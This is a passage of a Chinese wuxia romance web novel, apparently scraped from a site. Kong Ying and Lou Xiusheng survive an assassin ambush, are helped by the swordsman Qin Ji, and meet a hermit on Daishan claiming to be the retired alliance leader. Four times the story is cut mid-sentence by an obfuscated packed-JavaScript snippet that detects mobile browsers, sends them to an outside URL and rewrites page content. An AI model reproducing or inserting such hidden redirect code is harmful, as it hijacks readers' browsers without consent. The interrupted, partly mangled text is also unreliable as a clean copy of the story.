“不瞒伯伯,其实我当初出走,就是为摆脱我爹指给我的婚事。”孔英说得理所当然,“世上能使我心甘情出嫁的人还不知道在哪里呢。” 高王被孔英直率的话逗笑,目光隐晦扫过垂下眼眸的楼修生,暗暗摇头。他本以为孔英去哪儿都带着楼修生,多少也带点小女儿家的心思,结果是场单相思。 结束宴席,孔英正要回房好好休整以便明日赶路,听到楼修生冷不丁发问: “你喜欢什么样的男子?” 孔英被他问得一愣:“我也不晓得,或许是能够打过我的人?” 咔吧。 楼修生心碎了一地,忍不住追问:“那要是有个人打不过你,可是对你很好人品绝佳一表人才,你会喜欢上他吗?” “哪儿有这样的人啊。再说两人相处哪来这么多条件,喜欢便是喜欢,不喜欢的永远不喜欢。” 楼修生听到前半句心凉了一瞬,再听到后半句心里更是难受,难掩苦涩:“你倒是通透。” 孔英莫名其妙:“你今日怎么了,刚才还管着不让我喝酒,自己却喝醉了?” “……是我酒后失态。”楼修生抛下一句话便仓皇离开,留下孔英在原地摸不着头脑。 直到次日上马车时,楼修生依旧神情恹恹,眼底乌青,一看就是昨晚没睡好。 孔英拿着高王送的甜糕吃得不亦乐乎,满心想着岱山将至,自己见到传说中的武林盟主后要如何表现。要是能让武林盟主收自己为徒就好了,她两眼巴巴。 说来也神奇,自己在京城摆擂台的时候,来来往往那么多人,竟然每一个说起过隐退后的武林盟主在岱山,不然自己早就想办法去一趟了,怎么会等到现在。 索性她年纪也不大,还有不俗的武功,希望能入得了盟主的青眼。孔英如此宽慰自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288442|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还沉浸在盟主被自己的天赋惊艳,自己顺利成为盟主关门弟子的幻想中,马车外却变故突生。 “吁!” 车夫扯紧缰绳,险险避开从天而降的杀手,前方跃出数名蒙面刺客,手持利刃拦住去路。他大惊失色,扬鞭催马,试图硬闯出埋伏圈。刺客右手一甩,飞镖抹过车夫的脖子,直直割破车帘向内袭去。 不好! 孔英眼疾手快扔出手中木盒,打落破空而来的暗器,来不及心疼掉在地上的甜糕,掀开车帘就要一跃而下。 失去操控的马匹受惊,啸叫着奔走。车厢不稳,连累孔英跌倒在地,视线颠倒间对上四周刺客的森然目光。 怒骂奸商老板骗她,这马车哪有一点走山路如履平地的样子! 勉强扯住帘子稳住平衡,孔英看牢机会一把抓住缰绳,咬牙使劲想迫使疯马停下,手上突然力道全失,不可置信地眼睁睁看着缰绳也被暗器割断,整个人失去重心向后栽倒。 “唔……” 欸,不疼?身后传来一声闷哼,孔英才意识到是楼修生做了自己的肉垫。 疯马越跑越快,再这样下去去迟早是个车毁人亡的下场。孔英一狠心,反手抓起直冒冷汗的楼修生纵身一跃—— “呃啊……” 这地方正好是处斜坡,两个人环抱着一起滚落下去,终于在一片杂草丛生处停下。翻滚了二十多米,饶是身体素质强悍如孔英,也觉得头昏眼花,半天分不清东南西北。 “你们可还好?” 一道低沉的声音传来,孔英挣扎着扭伤的脖子望过去,居然见到秦嵇好端端坐在柴火旁,手上拿着两面金黄的烤鱼,正直直看向两人。 孔英弱弱出声:“兄台,麻烦来搭把手……” 仍谁也没想到再次相见是在这种情形。 孔英感受着脖子上冰冰凉凉的草药,只觉得鼻尖萦绕着一股苦涩气息,简直反胃。恨恨咬了一口秦嵇递给她的烤鱼,满心都是要早日养好伤,叫那几个偷袭的刺客知道她的厉害。 楼修生的伤势比她严重得多,似乎是滚落下来的时候被石头撞到了脑袋,止不住地昏沉,嘴里还常胡言乱语,呢喃着听不清的话。 秦嵇检查过他的伤势,摇摇头说这是受了内伤,附近没有可治的草药,要不就得去城里的医馆,要不就得去采长在悬崖峭壁上的灵草。 他们离开南至郡已经好几天,下一个郡县离此处也有不少路程。现下失了马车,赶去城里的医馆,怕是楼修生脑子都要坏了。 孔英心急:“兄台,你可知道灵草长什么样子?” 秦嵇迟疑,上下打量着孔英:“知道是知道……” 劝孔英伤势未愈不要冒险的话还没说出口,就听见孔英急匆匆道:“麻烦兄台带我认一认灵草,我就这一个小弟,可千万不能傻了啊。” 秦嵇默默咽下劝说的话,遥遥指向对面崖山上的一抹红,嘱咐道:“采药时记得需得连根拔起,真正起作用的是草根。” 孔英向秦嵇拱手道谢,看了眼昏迷不醒的楼修生,龇牙咧嘴扶着脖子,一瘸一拐向山里走去。 23. 孔英要习技擒刺客 秦嵇照顾楼修生的第四天,孔英回来了。 他上前想去搀扶狼狈的孔英,手里却被塞了株从根到叶完好无缺的灵草,听见孔英有气无力地问:“这灵草要怎么用?” 秦嵇扶着孔英坐下:“我去,你先休息。” 孔英实在没力气,只能看着秦嵇在溪边用清水洗去灵草上的尘泥,捏住楼修生的腮帮子,使其将草根嚼烂咽下,心里的石头总算落了地。 了却一桩心事,孔英瘫倒在草地上,紧绷的神经放松下来,迷迷糊糊睡过去。 楼修生醒来后,所见的就是孔英面容安详睡得正香,脸上流露出平日难见的恬静。 鼻尖突然嗅见肉香,便见秦嵇手上的烤野兔腿在柴火间滋滋冒油。听到声响,看楼修生正要起身去看孔英的状况,秦嵇出声提醒: “你刚清醒,还是躺着修养为好。” 楼修生听不进去,踉跄着到孔英身边,视线一点点描摹着对方的脸颊,心疼她身上的伤。 他昏迷几日,对外界情况却也不是半点不知。当听说孔英要为自己不顾安危去采灵草,他想要阻止,但意识仿佛被困在暗无天日的牢笼,连接不到身体。 暗恨自己无能,庆幸孔英平安归来。 两人间自成一派融洽氛围,旁人难以插入。秦嵇也不多管,专注于手上的烤肉。 也不知过了多久,孔英最后是被诱人的香气馋醒的,没料到一睁眼就见楼修生温柔的目光缠绕在自己身上。 她揉揉酸痛的手臂起身:“你醒啦,感觉怎么样?” 楼修生忙道:“很好很好,你带回来的药材派上了大作用呢!”他想跟着起身证明自己无恙,却眼前发黑腿下发软,一头栽倒在孔英怀里。 “哎呦。”孔英措不及防,被撞得倒退几步,埋怨道,“伤势没好全就老实休息,我辛苦采来灵草可不是让你糟蹋自己身体的。” 楼修生被孔英说了几句,安安静静不敢反驳,老老实实躺倒养伤,只是眼神一直紧紧跟随孔英。 孔英往身上涂了之前剩下的外伤草药,肚子里的馋虫给烤兔腿的香气勾出来,主动给秦嵇打下手,好换得一些饱腹的兔子肉。 秦嵇大方让出半只兔子,孔英连身道谢,承诺回到城里要请他吃大餐感谢。 一人串肉,一人烤肉。这种野兔子生长于山间野地,肉质紧实有嚼劲,烈火烘烤出让人口水直流的香气。 虽然没有调料,但是天然无添加的风味已经足够美味。孔英咬一口烤肉,不由得发出喟叹。 察觉到炙热的目光注视,孔英猛然想起楼修生还饿着呢,正想让对方也尝尝美味烤肉,被秦嵇提醒:“他的五脏六腑还受不了荤腥,先喂点野菜汤。” 孔英点头应下,发现火堆上吊着的大果壳里居然就是秦嵇煮的野菜汤,敬佩地竖起大拇指,小心取下表面发烫的果壳,确认里头的野菜都煮熟了,将果壳递到楼修生手里。 楼修生手筋无力,想起孔英在高王府时曾说过的话,不想在她面前丢脸,接过果壳勉强喝了一口,指尖泛白,用力到表情扭曲了一瞬。 孔英还当他是嫌弃野菜汤难喝,安慰道:“忍一忍吧,你现在的身体只能喝菜汤了。” 楼修生当然不会说出真相,只好点了点头,柔声应下。 好日子还没过几天就要荒野求生,孔英感叹世事无常。不过意外和秦嵇偶遇还是件意料之外的幸事,要是没有他,自己和楼修生还不知道要在这荒郊怎么挣扎。 闲聊之下,孔英得知秦嵇也要去真岱郡,恍然大悟,怪不得双方还能遇上,原来是同路。 又在原地休整几日,等到楼修生能正常行走,三人整理行装根据星象分辨东南西北,重新上路。 有两位伤患在,连带着秦嵇的速度也慢了不少。孔英心里清楚对方明明可以抛下两人不顾,却还是选择伸出援手,心中记下了秦嵇的恩情。 “兄台,你这包袱交给我来背吧,我力气大。” 秦嵇摇头拒绝,紧了紧包袱上的结,解释道:“包袱里的东西是我受人所托要转交给别人的,就不劳烦姑娘了。” 孔英有些失望,转而负责起抓野兔的活。她射箭本就厉害,小小野兔更是逃不出她手掌心,唯一困扰她的就是抓鱼。 也不知是怎么的,明明秦嵇每次都能一抓就准,而轮到自己上阵就只剩下手忙脚乱。为此,孔英特地向秦嵇虚心求教,请对方将诀窍传授给自己。 秦嵇没想到还有人想学抓鱼,旁观了几次孔英如何抓鱼后,心下了然,卷起裤腿踏入溪流。 “你力大无穷,这是优点。因而你射出的箭、掷出的石子速度迅疾,能一击即中,但抓鱼不一样。” 秦嵇弯下腰做示范:“水中的鱼要比人灵活得多,如果你动静太大反而会惊扰它们,所以抓鱼的要点便是轻巧迅速。” 他屏气凝神,迅雷不及掩耳探手入水,再直起腰时,手上已然有一条活蹦乱跳的鱼。 道理简单,孔英却仿佛受了点拨,站在岸边出神地和自己的水中倒影对视,涟漪阵阵的水波让倒影变得模糊,像是另有一番世界,她回过神。 “我懂了。” 踏入清凉流动的溪水,起伏的水面荡起微波,孔英学着秦嵇的样子弯下腰,放缓呼吸,眼睛搜索着何处有游鱼,试着让自己整个人平静下来,感受到漫过小腿的清凉溪水。 眼神一凝,双手如闪电般入水又出水。真切感受到滑腻的鱼身在自己手中挣扎时,孔英心底蔓延出难言的喜悦。 秦嵇见孔英一点就透,不由得轻点头:“就是这样。” 茅塞顿开之后,孔英对于捉鱼的热情也水涨船高,每逢饭点就争着要去找鱼。楼修生也想出一份力,主动去生火,甚至还找到了野辣椒,让久未尝调味的三人好好出了次汗。 是夜,三人在某处巨大树荫下休整,轮到孔英守夜。 她时不时往篝火里添些柴火,靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288443|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在粗糙的树皮上,仰起头见满天繁星。深林寂静,偶尔一声虫鸣格外响亮。 听到什么声音,原本惬意悠闲的人坐直身子,侧耳。 窸窸窣窣,不同于一般野兽穿越丛林的机敏声响,倒像是布料摩擦叶子,鞋履踏在雨后泥泞的地面,动作不似从前矫健,枝叶轻颤。 孔英面色严肃,推了把秦嵇,对方立刻睁开眼,和孔英对视,眼神交汇间各自心领神会。 夜色中的火堆简直就是指路明灯,将人影暴露得一清二楚。孔英对连累秦嵇心下愧疚,想起之前命悬一线的瞬间,对那些刺客恨得牙痒痒。 随手拿起根备于燃火的木棒,不等对方反应过来便直直甩出去。 一声闷哼,一人倒地,自知暴露的杀手从四面八方涌现,团团围住三人。孔英冷笑一声,右腿扫出正中杀手腹部,将其踹飞出去。 秦嵇用剑鞘挡下另一个杀手的袭击,拔出长剑,一剑刺穿其胸膛。 孔英赤手空拳却丝毫不显弱势,掌劈肘撞,每个招式都精准狠辣。余光瞥见冷光一闪而过,矮身避过直冲她脖颈而来的长刀,顺势扣住对方手腕将人摔进火堆,惨叫声顿时响起。 她冲着楼修生喊:“你自己藏好!” 一阵细碎的破空声从黑暗中袭来,数十枚寒光闪闪的暗器迎面而来。秦嵇挥剑格挡,仍有几枚漏网之鱼直奔孔英而去。她抬手扣住粗壮的树枝,整个人翻腾而起,险之又险地避开了致命袭击。 这群杀手显然针对孔英而来,所有阴招尽朝她使。 孔英越想越气,不知道自己到底是得罪了什么人,手上加重力道,什么顺手便用什么当作武器。 两人以少对多却丝毫不处于下风,倒地的黑衣人越来越多,仅剩下的见势不妙就想施展轻功逃跑,被孔英拽住左腿重重摔在地上。 方才还气势汹汹的黑衣人此刻两股战战,脸上显露出讨好的神情:“女侠饶命,我们也是收钱替人办事。” “说,是谁派你来的?” 黑衣人装也不装一下,将幕后主使全盘托出:“是个身量不高、唇周一颗黑痣的男人,说是让我们来杀一个从高王府出去的女人,再多的我们也不知道了啊!” 孔英思来想去也不记得自己有什么仇人长这样,追问:“你们与他怎么联络?” 黑衣人讪讪:“他将赏金给我们之后就走了,不会再有联系。” 孔英挑眉:“这人也不担心你们光拿钱不办事?” 黑衣人梗着脖子:“我们追风阁向来守信,只要是在我们名单上的人,就算是天涯海角也逃不脱!” 他说得理直气壮,看着孔英脸上似笑非笑的表情突然又反应了过来,惊恐地后撤。寒光闪过,远处的夜鸟扑棱翅膀惊起,黑衣人眼睛一瞪,被一剑抹了脖子。 “抱歉兄台,不仅连累你受难,还脏了你的剑。” 孔英甩了甩剑,飞溅的血珠落在野草上,混合着露水滚落入泥。 24. 孔英要登山寻盟主 知道接下来还会有人来追杀自己,孔英决定独自上路。 秦嵇不置可否,尊重孔英的想法。楼修生坚决反对:“你一个人落单,那群杀手不是更无所顾忌。不行,我得和你一起……你,你可是我老大啊!” 孔英摇头:“那群杀手的水平在我之下,伤不了我。你跟着我,反而让我束手束脚。” 楼修生一时语塞,知道她说的是实话,痛恨自己体弱,同时因为某个难言的前因而思绪万千。他语气顿了顿,不肯放弃: “但你独自走了,难道要秦嵇照顾我吗?”他不愿和孔英分开走。 孔英不得不承认楼修生说得也有道理,毕竟他伤势尚未痊愈,若是自己单独上路,免不得又要拜托秦嵇对他多加照料。 两难之际,此前一言不发的秦嵇开口:“追风阁知晓这波人刺杀失败的消息也还要些日子,第二拨人等追上我们时,我们已经到了真岱郡,届时你若想分开走倒也不迟。” 见两人都如此想法,孔英只得应承下来。同时更加想不通,到底是谁这么憎恶自己,甚至到了买凶杀人的地步,孔英想得直头疼。 好事是,一路下来直到站在真岱郡城门口,三人都没再遇到追风阁的杀手。 孔英松了一口气的同时,心上涌起淡淡的不安。谁也不知道下一波杀手会以什么样的方式出现,若是对方知道直接刺杀的方式行不通,会不会改成暗杀、下毒、陷阱…… 她感到难言的烦躁。 眼前突然一暗,一只微凉纤细的手抚上她紧锁的眉头,用轻柔的力道化开眉间的愁困。孔英愣神,呆看着楼修生俯身过来,两人之间的距离一下子被拉近。 “眉头快能夹死蚊子了。就要见到你心心念念的武林盟主,不开心吗?” 孔英莫名有些不自在。明明由于楼修生受伤的缘故,两人勾肩搭背也不少,但像这种温情的时刻还真不多见。 “我只是想不通自己哪儿来的仇家。” 楼修生见她气得双颊鼓起,想也知道对方还记挂着杀手的事。他已经派人去探查追风阁幕后之人,只是对方有意掩藏行踪,一时半会还没有消息。 “说不定是对方心胸狭隘,又或者是与高王有怨,所以指定要杀从“高王府”出去的女人,无需往自己身上找原因。” 楼修生继续说:“江湖行走的人,哪几个没有仇家?往好处想想,你已在江湖上留下姓名。说不定多年以后,江湖上还会留下孔英大战追风阁刺客的传说。” 这话还真是正好戳在孔英心上,原本的阴霾一下子豁然开朗。 虽然总觉得楼修生这套说辞有些讲不出的奇怪,但居然意外的有道理呢。 “说得也是,如果我不曾出来闯荡,现在怕是在家中待嫁呢。”孔英颇为赞同地点点头。 孔英是开朗了,楼修生却被她这句话搅得心神不宁,闷闷道:“你就这么讨厌你那未婚夫婿?” “我们连面都没有见过,何谈讨厌?只是听说他是个病秧子,且寡居深山老林,性情孤僻怪异,不怎么好相处。” 一阵长久的沉默。 孔英察觉到气氛古怪,转头去看楼修生,只见对方双唇颤抖,良久才从牙缝中间挤出一句: “造谣,这简直就是造谣!” 楼修生气得脸红:“这种消息是从哪里流传出来的,竟然如此胡编乱造无中生有,我……那人受国师亲传,在深山明明是潜心求学,就算身子羸弱,近年来也好了许多,怎么就不好相处了?” 孔英诧异:“你怎么知道这些?” “这……是你醉酒后说的。”楼修生撒起谎来眼睛都不眨。 “哦,怪不得我一点印象都没有。” 打哈哈应付过去,楼修生叮嘱孔英:“切记切记,想要了解一个人千万不能道听途说。只有你亲自和那人相处之后,才能知道他究竟是个什么样的人。” 秦嵇在一旁听两人打闹,觉得有些好笑。他和孔英发现两人最后的目的同为岱山,最终还是同路而行。 明眼人都能看出来楼修生的心思,只是孔英年纪尚小又当局者迷,徒留对方胡思乱想抓耳挠腮。果然世上还是不如意者多,秦嵇暗暗苦笑。 从岱山脚下往上看,山体巍峨耸立,巅峰隐于云海之间。此地向来被武者推崇,香火不断,可谓是修武之人心中的朝圣之地。 孔英想楼修生重伤初愈,提议道:“不如你就在客栈里休息,等我们下山再来接你。” 楼修生果断摇头,他可不能再在孔英心中留下“病秧子”的印象了,拍拍胸膛故作豪气:“我哪里有这么弱,你每天带我练早功,也知道我有多大进步。且就爬山一道,你还未必赶得上我。” 孔英刚想笑楼修生轻慢,想起对方说过自己曾在山里生活,将取笑的话咽了下去,只说:“你若是有身体难受的地方,可直接说出来。” 登岱山不是件容易事,孔英走在最前头,遇到碍路的横斜树枝,便径直用手拨开。楼修生紧随其后,额头上渗出细密汗珠,步伐轻飘。 孔英见他吃力,索性放慢脚步,有一搭没一搭地聊起天:“你可知道我为什么想来岱山?” “难道不是因为你想来岱山悟武道?” 楼修生曾听她说起,容水县酒楼老板蒋芸讲述过一个孤蓬客在岱山悟成武道的故事,勾起了孔英来岱山的兴趣,于是本就想要游历四方天地的孔英有了目标。 “不错,那你知不知道为什么我们会突然聊起岱山?” 楼修生一头雾水,看孔英神神秘秘的样子,问道:“这里面还有隐情?” 孔英点头,她气息稳定,说话神情自然:“其实还是因为你。” 周家清明诗会,楼修生咏颂岱山,文采斐然而大出风头,因而引发出后面的事。想来也觉得好笑,自己那时还震惊于对方居然是个男人。 其实现在想想,他分明不曾掩饰过自己身份,只是自己当时先入为主,还以为对方是个柔弱小姑娘。 楼修生感慨:“原来是这样。” 而楼修生当时又为什么会以岱山做题呢?实际上还是因为孔英。 山匪告官的奇闻可不多见,时人议论纷纷,猜测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288444|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着多年前的冤案怎么突然又被翻出来,只有楼修生知道这其中起关键作用的是个认死理的小姑娘。 十年能给人带来多大的变化呢。在他记忆力,幼年的孔英常是一副蔫蔫的样子,厚衣服裹着张过分瘦弱的小脸。楼修生庆幸现在的孔英摆脱了从前的病症,变得康健有力,又有了自己在武道上的追求。 于是诗会上,楼修生由孔英联想起岱山,兴致勃发,诗句脱口而出,居然赢得了满堂喝彩,更没想到还误打误撞让孔英生出对于岱山的兴趣。 因果循环,世事皆是如此。 秦嵇背着沉甸甸的包袱,不假于人手,腰间的佩剑随着他的步伐轻轻晃动,步履稳健,眉宇间透着坚毅与沉稳。 他此行来岱山是为了寻与温明有过一面之缘的隐士。温明其人放荡不羁惯了,原本和隐士许下的约定却要秦嵇来完成,索性他往南本就要路过此地,顺手之劳。 行至半道,烈阳照得人头昏脑胀,饶是孔英也有些受不了。而最让她受不了的,是自己向旁人打听山上是否有武林盟主,旁人全摇头说没听过。 孔英不死心,只当作是盟主隐居避世,不曾张扬自己的实力。 山上树木葱茏,松柏苍劲,孔英捧起一汪山间清泉啜饮,甘甜的泉水消减了暑气。她抬头见枝叶间闪烁的光斑,晃得人眼睛难受。 岱山之大,要找个人何谈容易?但他们不辞辛苦千里迢迢来真岱郡,若是无功而返,怎么能够甘心。 秦嵇看孔英如此苦恼,开口提议:孔姑娘,我要找的人正好久居岱山,不如你们与我一同前去,或许会有线索。” 孔英眼睛一亮,忙问:“你要找的人是个什么样子?”或许秦嵇找的隐士就是她要找的武林盟主也说不定。 秦嵇犹豫:“我倒不清楚他的长相,只知道对方住在山顶崖壁旁的洞穴。” 住在洞穴里?一听就很有武林高手的风范! 孔英摩拳擦掌,原本被酷暑折磨的人又打起精神,几乎想要现在就立刻出发,一口气爬到山顶,于是一等楼修生缓过劲,三人接着便向山顶进发。 秦嵇径直带着他们走上了一条人迹罕至的小道,解释说只有这条路才能去往崖壁洞穴。一路上越走越偏,茂盛的林荫显得四周阴森森。 此处山路难走许多,叮人的蚊虫也多了起来。孔英又捏死一只落在臂膀上的飞虫,不胜其烦,只觉得脑袋旁全是嗡嗡声。 楼修生停住步伐,屈身在地上捡起什么,喊住孔英。她疑惑地见楼修生递给自己和秦嵇一把绿色叶子,教他们如何揉碎后涂抹在自己暴露在外的皮肤上。 “这种草可以驱蚊,就是不知道你们能否习惯这股气味。” 沁出的汁液闻起来清凉而辛辣,清冽气息直冲鼻腔,让人顿时感觉神清气爽,抹在身上泛出丝丝凉意。 “不错不错,你这招还能提神醒脑。” 孔英觉得这股味道奇异非常,几乎不曾闻见过,刚想问楼修生怎么知道这草能驱蚊,反应过来后又暗自好笑。 看来独居深山的岁月让他学到了不少啊。 25. 孔英要寻情觅武道 从山间眺望,天地悠悠,山脚下广袤的平原铺展开来,一切都显得那么渺小却又充满生机。 再往前便隐约可见山间崖壁,孔英心里打起鼓。那崖壁中住着的人或许知道盟主的消息,或许就是传说中的盟主,而自己离梦想仅有咫尺,居然生出些胆怯。 武林盟主会是个什么样的人,是不是和她爹一样膀大腰圆将军肚,又或者仙风道骨遗世独立? 在孔英的想象中,盟主该有排山倒海的气势,应当是从一片耀眼的光芒中款款而出,眼神犀利而冒出精光,同时拥有善待晚辈的热心肠,不吝赐教自己的传世武功。 而孔英则将虔诚地向对方请教何为武道,行完拜师礼后热忱地喊一句:“师……” “好酒!温明还真没忘我们的约定啊哈哈哈!” 想象在不成音调的狂笑声中戛然而止。 孔英蹲在地上用树枝画圈圈,郁闷地看着衣衫褴褛的野人将坛子中的酒小心翼翼重新封好,又见其将带着豁口的酒碗舔了个干净,脸上浮出享受的红晕,看上去飘飘欲仙。 怎么会这样呢? 她忍不住质疑:“你这老头真是武林盟主?” 听着孔英的质疑毫不心虚,倚老卖老端起架子:“你这丫头说话客气点,我哪儿看起来不像盟主了?” 除了住的地方,哪儿看起来都不像盟主啊! “你若真是隐退的武林盟主,为何身上半点练武的痕迹都没有?” 像秦嵇虽然低调内敛,但是下盘稳健,收敛气息于无形,一看就是童子功。而眼前这人,虽自称“盟主”,但是步伐轻浮躯体瘦弱。 倒也不是长得丑,只是比起“盟主”的名头,对方显得太过……普通?一旦隐没于人群中就仿佛再也找不出来了。 野人吹胡子瞪眼:“你这丫头也不看看我多大岁数,我都隐退了,难道还要我闻鸡起舞每天练功?你这不是虐待老人嘛!” “……” “盟主怎么啦,盟主就得看上去一副世外高人的做派?你这小丫头话本子看多了吧。”野人吐槽。 孔英羞得满脸通红,不服气地站起身:“那你和我打一架,你若赢了我便承认你是盟主!” 野人压根不接茬,看得十分通透:“我要是真在意盟主的头衔便不会早早隐退了,你承不承认与我何干呢?” 好像是有点道理啊。 这么一通说辞绕下来,孔英反倒觉得对方的可信程度有些提高。若对方真是个欺世盗名之辈,碰上别人的质疑,按理来说该是急赤白脸想证明自己才对。 这个野人虽然看上去普普通通,但淡泊名利的样子还真有点像隐退的武林盟主。 秦嵇拱手道:“温明让我送的东西已经送到,晚辈就先行辞别。” 野人挥挥手,笑得和蔼可亲:“好好好,好走不送昂!” 秦嵇见孔英与楼修生暂没有要离开的意思,又向两人道别;“若他日有缘,望江湖再聚,共叙趣谈。” 这么些日子相处下来,孔英还有些舍不得这个颇有共同话题的同伴。尤其是秦嵇的剑术高深,招数不甚常见。自己也曾询问对方师从何处,只是不知道怎么的最后都会被扯到别的话题上。 “望秦兄此去一路顺风,万事皆安。” 秦嵇带着佩剑,挺拔的背影消失在曲折蜿蜒的山路间。 野人将目光转到孔英和楼修生身上,上下打量一番,突然啧啧称奇:“你这人,虽然不太礼貌,但武学根骨奇佳。以前可有学过功夫?” 孔英一听,不由得昂胸抬头:“当然,我自六岁就开始学武,至今已有十个年头。” 野人点点头:“不错,算是没有埋没你这一身骨架子。说吧,千里迢迢来岱山找我可是想要拜师?” 孔英心里还有些犯嘀咕,虽然这野人一眼就看出自己武学天赋极高,也算是慧眼识珠,但对方看上去真不像个精通武道之人。 不过话说回来,寻常人家谁会住在荒郊野岭呢,况且对方还和秦嵇的友人有渊源,或许确实是真人不露相也说不定。 孔英分析着利弊,刚想点头应承下来,却见对方狡黠一笑道:“可惜啊,你这女娃娃慧根未开,我可不会收你为徒。” 野人老神在在,说得一本正经,被皱纹拉得细长的双眼紧盯着生出困惑神情的孔英。 她原本还不放在心上,如今反而起了好奇:“什么叫慧根未开?” 野人神神秘秘卖着关子,手臂轻搭在秦嵇带来的汾酒上叹气:“哎,我这老人家岁数大好多事都记不清,要是有人替我搭把手将这酒坛子放到酒窖子里去,说不清我脑子就清楚了。” 孔英听明白了这是暗示她呢,不甚在意这些细枝末节的小事,一把按下楼修生试图拦下她的手,大跨步向前抱起酒坛。 “说吧老人家,你那酒窖怎么走?” 说是酒窖,实际是个储存蔬菜的狭小地下室,四壁粗糙凹凸不平,看上去十分简陋。 孔英来回走了几趟也没找见其他酒坛,腌菜的酸臭咸腥味倒闻了个饱,她只好挑了个稍微宽敞些的空地放下酒坛,连忙又顺着梯子爬回山洞。 “老人家,你在山上吃这些,身体受得了吗?”怪不得看上去过分瘦弱,要是她每天只能吃些腌制的菜肉,哪里还有力气练功夫呢。 看来山上的生活也不怎么好嘛,怪不得楼修生也生得瘦弱,似乎一阵风就能吹跑。 野人看上去早就习惯了这般饮食,摇头晃脑只说孔英不懂:“你到了我这个年纪就知道咸菜的好啦!” 孔英想知道野人为何说她慧根未开,野人却总是故弄玄虚,借着由头使唤她干这干那,二人不得不在岱山上住下。 偏生洞穴狭窄,只住得下一个野人。更别说对方半点没有考虑孔英和楼修生住宿的意思,两人只好跟先前在荒野中一样,找个树荫巨大的树作遮挡,将就将就睡下。 期间楼修生提出过怀疑,对着孔英说:“若对方真是武林盟主,怎么会看不出来你有没有练过武,还要来问你?” 孔英迟疑:“但他突然提起慧根,难免让我心有生疑虑。左右不过是些日常活计,他一个花甲老人,做便做了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288445|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼修生明白孔英这又是发了没必要的善心。 野人名叫张三,孔英猜测这是个假名。虽然不清楚对方为何隐姓埋名没于山野,不过对方不愿说,自己也追问不出来。 还不知道要在山上住多久,孔英琢磨琢磨山野走兽,带着楼修生去布置好几个小陷阱,静候蹲守之下,还真捉到只会飞的野鸡。 拔毛开膛的活交给了楼修生,他也不摆架子念叨什么“君子远庖厨”,挽起袖子异常熟练地将野鸡处理得干干净净。 两人合作愉快,正享受香喷喷的烤肉,余光乍然瞥见被不远处的人影。 被人盯着吃饭,孔英多少有些不自在,索性招呼对方一起:“老人家,你要不……”也来吃点? 孔英话还没有说完,手上刚烤完的鸡腿就径直被人夺走。张三咬下一大块精瘦有嚼劲的鸡肉,被烫得龇牙咧嘴却舍不得吐出来,口齿不清说着: “你这小姑娘都不知道多体谅一下老人家,要开饭早该叫我了。” 楼修生不满:“你分明早就在一旁看着了,半点力气不出,哪有这么坐享其成的好事。” 张三唯恐他要夺回自己手上的鸡腿,忙后退几步拉开和楼修生的距离,哼了一声,拿宝贝似的从山洞中拿出一小碟腌菜。 “喏,我可没你们这么小气,知道在山上盐有多难得吗?” 这话不假,看样子就知道张三不怎么下山,那些腌菜的盐想必也来得不轻易。孔英谢过对方,在张三的注视下只挑了几片菜叶子作配菜。 享受美食时的人们总是最和谐的。 好几天下来,张三天天指使孔英些琐碎的小事,洞穴被孔英收拾得更像有人居住的地方,张三看向孔英的眼中也流露出满意,终于某日早晨单独唤来刚结束早功的孔英。 “这些日子下来,你的诚心我都看在眼里。你不是想知道究竟何为慧根吗?” 孔英随张三席地而坐,内心的诧异转为隐隐的激动,努力静下心听着眼前人款款而谈。 “我可告诉你,慧根一开,习武便如有神助。你本身根骨极佳,是否觉得自己小小年纪取得此番成就很了不得?那我告诉你,一旦开了慧根,你的修习进度会比现在还要快上百倍千倍!” 这个饼画得可不是一般大,孔英被突如其来的惊喜砸得头昏脑胀,不自觉问道: “那如何才能开慧根呢?” “千人千面,个人慧根不尽相同,好似你我慧根就截然不同。说起来你可比我幸运得多,我江湖行走多年才悟出的道理,现如今看你心诚可都直接告诉你了。” 